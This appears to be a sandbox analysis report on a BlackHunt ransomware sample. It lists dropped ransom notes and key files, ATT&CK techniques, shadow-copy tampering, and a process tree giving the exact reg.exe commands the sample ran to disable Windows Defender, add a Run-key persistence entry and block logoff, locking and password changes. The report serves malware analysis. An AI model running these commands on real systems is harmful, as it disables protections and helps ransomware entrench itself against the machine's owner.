File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Moncton	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\charsets.jar	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Baku	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Winnipeg	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jre7\lib\zi\Asia\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-openide-execution.xml_hidden	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-modules-appui.jar	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\DVA.api	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\FDFFile_8.ico	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\feature.properties	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.zh_CN_5.5.0.165303.jar	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.ja_5.5.0.165303.jar	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_de.properties	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\calendars.properties	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Monrovia	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\#BlackHunt_Private.key	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-static.png	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_babypink_Thumbnail.bmp	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Kentucky\#BlackHunt_ReadMe.hta	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Santarem	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
452	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2848	vssadmin.exe
3700	vssadmin.exe
3732	vssadmin.exe
3372	vssadmin.exe
2796	vssadmin.exe
1576	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
704	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2548	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2448	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeRestorePrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeBackupPrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeTakeOwnershipPrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeAuditPrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeSecurityPrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeIncBasePriorityPrivilege	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Token: SeBackupPrivilege	944	vssvc.exe
Token: SeRestorePrivilege	944	vssvc.exe
Token: SeAuditPrivilege	944	vssvc.exe
Token: SeBackupPrivilege	3024	wbengine.exe
Token: SeRestorePrivilege	3024	wbengine.exe
Token: SeSecurityPrivilege	3024	wbengine.exe
Token: SeSecurityPrivilege	4948	wevtutil.exe
Token: SeBackupPrivilege	4948	wevtutil.exe
Token: SeSecurityPrivilege	5908	wevtutil.exe
Token: SeBackupPrivilege	5908	wevtutil.exe
Token: SeSecurityPrivilege	3148	wevtutil.exe
Token: SeBackupPrivilege	3148	wevtutil.exe
Token: SeSecurityPrivilege	6128	wevtutil.exe
Token: SeSecurityPrivilege	236	wevtutil.exe
Token: SeBackupPrivilege	6128	wevtutil.exe
Token: SeBackupPrivilege	236	wevtutil.exe
Token: SeDebugPrivilege	704	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 2872	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	29
PID 2948 wrote to memory of 2872	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	29
PID 2948 wrote to memory of 2872	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	29
PID 2948 wrote to memory of 2872	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	29
PID 2948 wrote to memory of 2268	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	124
PID 2948 wrote to memory of 2268	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	124
PID 2948 wrote to memory of 2268	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	124
PID 2948 wrote to memory of 2268	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	124
PID 2948 wrote to memory of 2280	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	128
PID 2948 wrote to memory of 2280	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	128
PID 2948 wrote to memory of 2280	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	128
PID 2948 wrote to memory of 2280	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	128
PID 2948 wrote to memory of 2532	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	35
PID 2948 wrote to memory of 2532	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	35
PID 2948 wrote to memory of 2532	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	35
PID 2948 wrote to memory of 2532	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	35
PID 2872 wrote to memory of 2224	2872	cmd.exe	36
PID 2872 wrote to memory of 2224	2872	cmd.exe	36
PID 2872 wrote to memory of 2224	2872	cmd.exe	36
PID 2948 wrote to memory of 2548	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	37
PID 2948 wrote to memory of 2548	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	37
PID 2948 wrote to memory of 2548	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	37
PID 2948 wrote to memory of 2548	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	37
PID 2268 wrote to memory of 2584	2268	reg.exe	38
PID 2268 wrote to memory of 2584	2268	reg.exe	38
PID 2268 wrote to memory of 2584	2268	reg.exe	38
PID 2948 wrote to memory of 2640	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	39
PID 2948 wrote to memory of 2640	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	39
PID 2948 wrote to memory of 2640	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	39
PID 2948 wrote to memory of 2640	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	39
PID 2948 wrote to memory of 2644	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	42
PID 2948 wrote to memory of 2644	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	42
PID 2948 wrote to memory of 2644	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	42
PID 2948 wrote to memory of 2644	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	42
PID 2280 wrote to memory of 2896	2280	reg.exe	127
PID 2280 wrote to memory of 2896	2280	reg.exe	127
PID 2280 wrote to memory of 2896	2280	reg.exe	127
PID 2948 wrote to memory of 2884	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	45
PID 2948 wrote to memory of 2884	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	45
PID 2948 wrote to memory of 2884	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	45
PID 2948 wrote to memory of 2884	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	45
PID 2948 wrote to memory of 2556	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	48
PID 2948 wrote to memory of 2556	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	48
PID 2948 wrote to memory of 2556	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	48
PID 2948 wrote to memory of 2556	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	48
PID 2948 wrote to memory of 2748	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	50
PID 2948 wrote to memory of 2748	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	50
PID 2948 wrote to memory of 2748	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	50
PID 2948 wrote to memory of 2748	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	50
PID 2948 wrote to memory of 2840	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	52
PID 2948 wrote to memory of 2840	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	52
PID 2948 wrote to memory of 2840	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	52
PID 2948 wrote to memory of 2840	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	52
PID 2948 wrote to memory of 2604	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	54
PID 2948 wrote to memory of 2604	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	54
PID 2948 wrote to memory of 2604	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	54
PID 2948 wrote to memory of 2604	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	54
PID 2948 wrote to memory of 2488	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	56
PID 2948 wrote to memory of 2488	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	56
PID 2948 wrote to memory of 2488	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	56
PID 2948 wrote to memory of 2488	2948	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe	56
PID 2644 wrote to memory of 2440	2644	cmd.exe	58
PID 2644 wrote to memory of 2440	2644	cmd.exe	58
PID 2644 wrote to memory of 2440	2644	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe
"C:\Users\Admin\AppData\Local\Temp\7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
